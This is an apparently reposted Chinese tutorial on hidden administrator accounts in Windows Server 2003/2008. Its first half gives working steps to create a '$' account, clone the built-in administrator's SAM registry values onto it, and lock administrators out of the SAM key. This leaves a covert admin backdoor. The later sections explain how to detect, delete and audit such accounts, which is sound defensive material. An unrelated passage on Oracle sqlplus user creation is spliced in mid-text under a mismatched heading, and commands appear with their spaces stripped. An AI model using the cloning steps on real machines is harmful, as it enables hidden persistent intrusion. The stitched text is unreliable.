win20032008下建立隐藏系统用户与查看及删除方法windows系统很好用使用的人很多很多,但也超容易中毒,下面我来给大家讲win2003/2008下建立隐藏系统用户与查看及删除方法,希望对大家所有帮助。建立隐藏系统用先做准备工作,新建一个用户,名为sxitn$(加上$符号,使用命令netuser将查看不到用户),密码为123:netusersxitn$123456/add然后把sxitn$加入管理组:netlocalgroupadministratorssxitn$/add然后,开始一>>运行,输入regedt32.exe,找到HKEY_LOCAL_MACHINE下的SAM项下的SAM,点击右键—权限,在安全选项卡中添加用户组Administrators或者当前用户,允许完全控制,应用确定后关闭。开始—>运行,输入regedit打注册表。找到HKEY_LOCAL_MACHINE—SAM—SAM—Domains—Aliases—Users—Names—sxitn$,记住右边的值的类型>0X3ef,然后导出,命名为sxitn$.reg;在Users项中找到3ef项,也同样导出,命名为3ef.reg;1f4(administrator默认的项)项也导出,命名为1f4.reg。用记事本打开1f4.reg,复制:"F"=hex:02,00,01,00,00,00,00,00,d0,f6,92,be,05,df,c7,01,00,00,00,00,00,00,00,/00,80,1c,c5,98,94,2d,c7,01,00,00,00,00,00,00,00,00,10,51,1c,cb,08,df,c7,01,/f4,01,00,00,01,02,00,00,10,02,00,00,00,00,00,00,01,00,c0,00,01,00,00,00,00,/00,00,00,00,00,00,00用记事本打开3ef.reg,把刚才复制的粘贴到相应的位置。用记事本打开sxitn$.reg,复制:[HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/Names/sxitn$]@=hex(3ef):粘贴到3ef.reg最后的位置。最后3ef.reg为:WindowsRegistryEditorVersion5.00[HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/000003EF]"F"=hex:02,00,01,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,/00,90,97,6d,19,10,df,c7,01,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,/ef,03,00,00,01,02,00,00,10,00,00,00,00,00,00,00,00,00,00,00,01,00,00,00,00,/00,95,7c,4e,2e,20,74"V"=hex:00,00,00,00,bc,00,00,00,02,00,01,00,bc,00,00,00,0c,00,00,00,00,00,00,/00,c8,00,00,00,00,00,00,00,00,00,00,00,c8,00,00,00,00,00,00,00,00,00,00,00,/c8,00,00,00,00,00,00,00,00,00,00,00,c8,00,00,00,00,00,00,00,00,00,00,00,c8,/00,00,00,00,00,00,00,00,00,00,00,c8,00,00,00,00,00,00,00,00,00,00,00,c8,00,/00,00,00,00,00,00,00,00,00,00,c8,00,00,00,00,00,00,00,00,00,00,00,c8,00,00,/00,00,00,00,00,00,00,00,00,c8,00,00,00,00,00,00,00,00,00,00,00,c8,00,00,00,/08,00,00,00,01,00,00,00,d0,00,00,00,14,00,00,00,00,00,00,00,e4,00,00,00,14,/00,00,00,00,00,00,00,f8,00,00,00,04,00,00,00,00,00,00,00,fc,00,00,00,04,00,/00,00,00,00,00,00,01,00,14,80,9c,00,00,00,ac,00,00,00,14,00,00,00,44,00,00,/00,02,00,30,00,02,00,00,00,02,c0,14,00,44,00,05,01,01,01,00,00,00,00,00,01,/00,00,00,00,02,c0,14,00,ff,07,0f,00,01,01,00,00,00,00,00,05,07,00,00,00,02,/00,58,00,03,00,00,00,00,00,24,00,44,00,02,00,01,05,00,00,00,00,00,05,15,00,/00,00,5b,84,10,ab,37,d9,e9,d7,09,61,8b,28,ef,03,00,00,00,00,18,00,ff,07,0f,/00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,00,00,14,00,5b,03,02,00,/01,01,00,00,00,00,00,01,00,00,00,00,01,02,00,00,00,00,00,05,20,00,00,00,20,/02,00,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,73,00,78,00,69,00,/74,00,6e,00,24,00,01,02,00,00,07,00,00,00,01,00,01,00,c5,3d,41,62,8b,c0,6f,/1e,57,d2,4c,dc,4e,20,76,a3,01,00,01,00,47,ad,d7,59,3f,ac,4a,a1,f6,dd,c6,d9,/bc,1e,8d,15,01,00,01,00,01,00,01,00[HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/Names/sxitn$]@=hex(3ef):然后保存。删除用户sxitn$:netusersxitn$/delete之后运行3ef.reg导入注册表!打开regedt32.exe把SAM安全选项卡中的administrator删除,然后应用。这样,隐藏用户就建立好了。怎样查看账号创建时间1、在你安装的时候有一个设置密码,那个密码是你的数据库管理员的密码,一定要记住。2、等数据库安装好之后,启动oracle数据库服务后,用下面的命令就可以进入sqlplus,在cmd中输入sqlplussys/密码assysdba3、进入数据库后用下面的命令建用户:createuseruser_nameidnentifiedbypassword;grantresource,connecttouser_name;4、现在sqlplus就可以进入了,在cmd中输入sqlplususer_name/password查看WIN2003服务器下是否加入了隐藏账户修改注册表型隐藏账户由于使用这种方法隐藏的账户是不会在“命令提示符”和“计中看到的,因此可以到注册表中删除隐藏账户。来到HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsersNames”把这里存在的账户和“计算机管理”中存在的账户进行比较,多出来的账户就是隐藏账户了。想要删除它也很简单,直接删除以隐藏账户命名的项即可。使用regedit打开注册表编辑器找到[HKEY_LOCAL_MACHINE]——[SAM]——[SAM]—[Domains][Account][Users],这里下面的数字和字母组合的子键是你计算机中所有用户帐户的SAM项。子分支[Names]下是用户名,每个对应上面的SAM项。查找隐藏的帐户就比较两个用户名的SAM值完全一样的就说明其中个是克隆帐户。你可以在这里删除其用户名。般推荐分别导出用户名项和对应的SAM,然后找一个关键字分析比较。具体比较的方法多种多样自己看了。目前有种系统级后门,可以在有管理员帐户登入的时候自动删除这里的克隆帐户值,等你退出了又自动恢复。遇到这种的情况,这里是查不出来的。一般这种后门都是高手搞的,免杀。遇到这种情况,建议找专业安全人员处理。另外:本地安全策略——本地策略安全选项中可以查看默认管理员和贵宾帐户,这里可以查出默认的guest是否被克隆了,如果这个帐户被克隆这里会显示出真正的克隆后的用户名。计算机管理中显示的依然是正常的用户,所以查那里是没什么意义的。另一种解决办法开始--运行cmd下运行netlocalgroupadministrators看看那加了$的就是隐藏的账户了1、右键单击“我的电脑”算机管理”7“本地用户和组”7“用户”7看看有没有陌生用户2、“开始”-“运行”-“cmd”“netuser”T看看有没有陌生用户隐藏账户在上述中看不到的3、“开始”-“运行”-“cmd”“regedit”T找到注册表分支HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/Names/”T看看有没有克隆用户无法看到名称的隐藏账户如果黑客制作了一个修改注册表型隐藏账户,在此基础上删除了管理员对注册表的操作权限。那么管理员是无法通过注册表删除隐藏账户的,甚至无法知道黑客建立的隐藏账户名称。不过世事没有绝对,我们可以借助“组策略”的帮助,让黑客无法通过隐藏账户登陆。点击“开始”T“运行”输入“gpedit.msc”运行“组策略”,依次展开“计算机配置“Windows设置”T“安全设置”“本地策略”T“审核策略”,双击右边的“审核策略更改”,在弹出的设置窗口中勾选“成功”,然后点“确定”。对审核登陆事件”和审核过程追踪”进行相同的设置。进行登陆审核后,可以对任何账户的登陆操作进行记录,包括隐藏账户,这样我们就可以通过“计算机管理”中的“事件查看器”准确得知隐藏账户的名称,甚至黑客登陆的时间。即使黑客将所有的登陆日志删除,系统还会记录是哪个账户删除了系统日志,这样黑客的隐藏账户就暴露无疑了。
本文档为【win20032008下建立隐藏系统用户与查看及删除方法】,请使用软件OFFICE或WPS软件打开。作品中的文字与图均可以修改和编辑,
图片更改请在作品中右键图片并更换,文字修改请直接点击文字进行修改,也可以新增和删除文档中的内容。
该文档来自用户分享,如有侵权行为请发邮件ishare@vip.sina.com联系网站客服,我们会及时删除。
[版权声明] 本站所有资料为用户分享产生,若发现您的权利被侵害,请联系客服邮件isharekefu@iask.cn,我们尽快处理。
本作品所展示的图片、画像、字体、音乐的版权可能需版权方额外授权,请谨慎使用。
网站提供的党政主题相关内容(国旗、国徽、党徽..)目的在于配合国家政策宣传,仅限个人学习分享使用,禁止用于任何广告和商用目的。